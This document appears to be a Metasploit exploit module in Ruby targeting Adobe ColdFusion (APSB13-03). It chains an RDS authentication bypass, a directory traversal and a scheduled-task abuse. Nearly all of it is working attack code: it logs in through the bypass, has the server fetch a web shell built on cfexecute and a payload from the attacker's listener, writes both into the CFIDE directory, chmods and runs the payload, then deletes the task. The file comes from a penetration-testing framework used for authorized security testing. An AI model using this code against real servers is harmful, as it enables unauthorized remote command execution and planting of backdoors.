|
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require 'msf/core' require 'digest/sha1' require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer
def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe ColdFusion APSB13-03', 'Description' => %q{ This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03: * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only) * CVE-2013-0629: directory traversal * CVE-2013-0632: authentication bypass }, 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0625'], [ 'CVE', '2013-0629'], # we don't actually exploit this, as this is the backdoor # dropped by malware exploiting the other vulnerabilities [ 'CVE', '2013-0631'], [ 'CVE', '2013-0632'], ], 'Targets' => [ ['Automatic Targeting', { 'auto' => true }], [ 'Universal CMD', { 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'win', 'linux'] } ] ], 'DefaultTarget' => 1, 'Privileged' => true, 'Platform' => [ 'win', 'linux' ], 'DisclosureDate' => 'Jan 15 2013'))
register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]), OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]), ], self.class)
register_advanced_options( [ OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]), ], self.class) end
def check exploitable = 0 exploitable += 1 if check_cve_2013_0629 exploitable += 1 if check_cve_2013_0632 exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe end
# Login any way possible, returning the cookies if successful, empty otherwise def login cf_cookies = {}
ways = { 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) }, 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) }, 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) }, } ways.each do |what, how| these_cookies = how.call if got_auth? these_cookies print_status "Authenticated using '#{what}' technique" cf_cookies = these_cookies break end end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty? cf_cookies end
def exploit # login cf_cookies = login
# if we managed to login, get the listener ready datastore['URIPATH'] = rand_text_alphanumeric(6) srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" start_service
# drop a payload on disk which we can used to execute # arbitrary commands, which will be needed regardless of # which technique (cmd, payload) the user wants input_exec = srv_uri + "/#{datastore['URIPATH']}-e" output_exec = "#{datastore['URIPATH']}-e.cfm" schedule_drop cf_cookies, input_exec, output_exec
if datastore['CMD'] and not datastore['CMD'].empty? # now that the coldfusion exec is on disk, execute it, # passing in the command and arguments parts = datastore['CMD'].split(/\s+/) res = execute output_exec, parts.shift, parts.join(' ') print_line res.body.strip else # drop the payload input_payload = srv_uri + "/#{datastore['URIPATH']}-p" output_payload = "#{datastore['URIPATH']}-p" schedule_drop cf_cookies, input_payload, output_payload # make the payload executable # XXX: windows? execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}" # execute the payload execute output_exec, "../../wwwroot/CFIDE/#{output_payload}" end handler end
def execute cfm, cmd, args='' uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}" send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 ) end
def on_new_session(client) return # TODO: cleanup if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") @files.each do |file| client.fs.file.rm("#{file}") end else @files.each do |file| client.shell_command_token("rm #{file}") end end end
def on_request_uri cli, request cf_payload = "test" case request.uri when "/#{datastore['URIPATH']}-e" cf_payload = <<-EOF <cfparam name="url.cmd" type="string" default="id"/> <cfparam name="url.args" type="string" default=""/> <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" /> <cfoutput>#output#</cfoutput> EOF when "/#{datastore['URIPATH']}-p" cf_payload = payload.encoded end send_response(cli, cf_payload, { 'Content-Type' => 'text/html' }) end
# Given a hash of cookie key value pairs, return a string # suitable for use as an HTTP Cookie header def build_cookie_header cookies cookies.to_a.map { |a| a.join '=' }.join '; ' end
# this doesn't actually work def twiddle_csrf cookies, enable=false mode = (enable ? "Enabling" : "Disabling") print_status "#{mode} CSRF protection" params = { 'SessEnable' => enable.to_s, } res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"), 'method' => 'POST', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookies), 'vars_post' => params, }) if res if res.body =~ /SessionManagement should/ print_error "Error #{mode} CSRF" end else print_error "No response while #{mode} CSRF" end end
# Using the provided +cookies+, schedule a ColdFusion task # to request content from +input_uri+ and drop it in +output_path+ def schedule_drop cookies, input_uri, output_path vprint_status "Attempting to schedule ColdFusion task" cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm" scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm" # make a request to the scheduletasks page to pick up the CSRF token res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduletasks_path), 'method' => 'GET', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), }) cookie_hash.merge! get_useful_cookies res
if res # XXX: I can only seem to get this to work if 'Enable Session Variables' # is disabled (Server Settings -> Memory Variables) token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first unless token print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)" #twiddle_csrf cookies, false token = '' end else fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing") end
# make a request to the scheduletasks page again, this time passing in our CSRF token # in an attempt to get all of the other cookies used in a request cookie_hash.merge! get_useful_cookies res res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task", 'method' => 'GET', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), })
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID task_id = SecureRandom.uuid # drop the backdoor in the CFIDE directory so it can be executed publish_file = '../../wwwroot/CFIDE/' + output_path # pick a start date. This must be in the future, so pick # one sufficiently far ahead to account for time zones, # improper time keeping, solar flares, drift, etc. start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}" params = { 'csrftoken' => token, 'TaskName' => task_id, 'Group' => 'default', 'Start_Date' => start_date, 'End_Date' => '', 'ScheduleType' => 'Once', 'StartTimeOnce' => '1:37 PM', 'Interval' => 'Daily', 'StartTimeDWM' => '', 'customInterval_hour' => '0', 'customInterval_min' => '0', 'customInterval_sec' => '0', 'CustomStartTime' => '', 'CustomEndTime' => '', 'repeatradio' => 'norepeatforeverradio', 'Repeat' => '', 'crontime' => '', 'Operation' => 'HTTPRequest', 'ScheduledURL' => input_uri, 'Username' => '', 'Password' => '', 'Request_Time_out' => '', 'proxy_server' => '', 'http_proxy_port' => '', 'publish' => '1', 'publish_file' => publish_file, 'publish_overwrite' => 'on', 'eventhandler' => '', 'exclude' => '', 'onmisfire' => '', 'onexception' => '', 'oncomplete' => '', 'priority' => '5', 'retrycount' => '3', 'advancedmode' => 'true', 'adminsubmit' => 'Submit', 'taskNameOriginal' => task_id, 'groupOriginal' => 'default', 'modeOriginal' => 'server', }
cookie_hash.merge! (get_useful_cookies res) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduleedit_path), 'method' => 'POST', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), 'vars_post' => params, })
if res # if there was something wrong with the task, capture those errors # print them and abort errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten if errors.empty? if res.body =~ /SessionManagement should/ fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF") end print_status "Created task #{task_id}" else fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}") end else fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}") end
print_status "Executing task #{task_id}" res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server", 'method' => 'GET', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), })
#twiddle_csrf cookies, true if datastore['DELETE_TASK'] print_status "Removing task #{task_id}" res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}", 'method' => 'GET', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookie_hash), }) end
vprint_status normalize_uri(target_uri, publish_file) publish_file end
# Given the HTTP response +res+, extract any interesting, non-empty # cookies, returning them as a hash def get_useful_cookies res set_cookie = res.headers['Set-Cookie'] # Parse the Set-Cookie header parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by: # * Dropping Path and Expires from the parsed cookies -- we don't care # * Dropping empty (reset) cookies %w(Path Expires).each do |ignore| parsed_cookies.delete ignore parsed_cookies.delete ignore.downcase end parsed_cookies.keys.each do |name| parsed_cookies[name].reject! { |value| value == '""' } end parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but # give the module the ability to log what it got in the event # that this stops becoming an OK assumption unless parsed_cookies.empty? vprint_status "Got the following cookies after authenticating: #{parsed_cookies}" end cookie_pattern = /^CF/ useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern } if useful_cookies.empty? vprint_status "No #{cookie_pattern} cookies found" else vprint_status "The following cookies could be used for future authentication: #{useful_cookies}" end useful_cookies end
# Authenticates to ColdFusion Administrator via the adminapi using the # specified +user+ and +password+. If +use_rds+ is true, it is assumed that # the provided credentials are for RDS, otherwise they are assumed to be # credentials for ColdFusion Administrator. # # Returns a hash (cookie name => value) of the cookies obtained def adminapi_login user, password, use_rds vprint_status "Attempting ColdFusion Administrator adminapi login" user ||= '' password ||= '' res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)), 'method' => 'POST', 'connection' => 'TE, close', 'vars_post' => { 'method' => 'login', 'adminUserId' => user, 'adminPassword' => password, 'rdsPasswordAllowed' => (use_rds ? '1' : '0') } })
if res if res.code == 200 vprint_status "HTTP #{res.code} when authenticating" return get_useful_cookies(res) else print_error "HTTP #{res.code} when authenticating" end else print_error "No response when authenticating" end
{} end
# Authenticates to ColdFusion Administrator using the specified +user+ and # +password+ # # Returns a hash (cookie name => value) of the cookies obtained def administrator_login user, password cf_cookies = administrator_9x_login user, password unless got_auth? cf_cookies cf_cookies = administrator_10x_login user, password end cf_cookies end
def administrator_10x_login user, password # coldfusion 10 appears to do: # cfadminPassword.value = hex_sha1(cfadminPassword.value) vprint_status "Trying ColdFusion 10.x Administrator login" res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)), 'method' => 'POST', 'vars_post' => { 'cfadminUserId' => user, 'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase, 'requestedURL' => '/CFIDE/administrator/index.cfm', 'submit' => 'Login', } })
if res if res.code.to_s =~ /^30[12]/ useful_cookies = get_useful_cookies res if got_auth? useful_cookies return useful_cookies end else if res.body =~ /<title>Error/i print_status "Appears to be restricted and/or not ColdFusion 10.x" elsif res.body =~ /A License exception has occurred/i print_status "Is license restricted" else vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?" vprint_status res.body end end end
return {} end
def got_auth? cookies not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty? end
def administrator_9x_login user, password vprint_status "Trying ColdFusion 9.x Administrator login" # coldfusion 9 appears to do: # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value)); # # You can get a current salt from # http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt # # Unfortunately that URL might be restricted and the salt really just looks # to be the current time represented as the number of milliseconds since # the epoch, so just use that salt = (Time.now.to_i * 1000).to_s pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)), 'method' => 'POST', 'vars_post' => { 'submit' => 'Login', 'salt' => salt, 'cfadminUserId' => user, 'requestedURL' => '/CFIDE/administrator/index.cfm', 'cfadminPassword' => pass, } }) if res return get_useful_cookies res else print_error "No response while trying ColdFusion 9.x authentication" end
{} end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+ # # Returns a hash (cookie name => value) of the cookies obtained def componentutils_login user, password vprint_status "Attempting ColdFusion ComponentUtils login" vars = { 'j_password_required' => "Password+Required", 'submit' => 'Login', } vars['rdsUserId'] = user if user vars['j_password'] = password if password res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)), 'method' => 'POST', 'connection' => 'TE, close', 'vars_post' => vars })
cf_cookies = {} if res.code.to_s =~ /^(?:200|30[12])$/ cf_cookies = get_useful_cookies res else print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login" end
cf_cookies end
def check_cve_2013_0629 vulns = 0 paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing # was just wide open vuln_without_creds = false paths.each do |path| if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/ vulns += 1 vuln_without_creds = true break end end
if vuln_without_creds print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials" else print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials" end
# if credentials are provided, try those too if datastore['USERNAME'] and datastore['PASSWORD'] vuln_without_bypass = false paths.each do |path| cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD'] if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/ vulns += 1 vuln_without_bypass = true break end end
if vuln_without_bypass print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials" else print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials" end end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open vuln_with_bypass = false paths.each do |path| cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true # we need to take the cookie value from CFAUTHORIZATION_cfadmin # and use it for CFAUTHORIZATION_componentutils cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin'] cf_cookies.delete 'CFAUTHORIZATION_cfadmin' if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/ vulns += 1 vuln_with_bypass = true break end end
if vuln_with_bypass print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632" else print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632" end
vulns > 0 end
# Checks for CVE-2013-0632, returning true if the target is # vulnerable, false otherwise def check_cve_2013_0632 if datastore['USERDS'] # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but # subsequently *enabled* after install, the password is unset so we simply must # check that and only that. cf_cookies = adminapi_login 'foo', 'bar', true if cf_cookies.empty? print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632" else print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632" return true end else print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off" end false end
def traverse_read path, cookies uri = normalize_uri(target_uri.path) uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path=" uri << path res = send_request_cgi( { 'uri' => uri, 'method' => 'GET', 'connection' => 'TE, close', 'cookie' => build_cookie_header(cookies) }) res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '') end end
|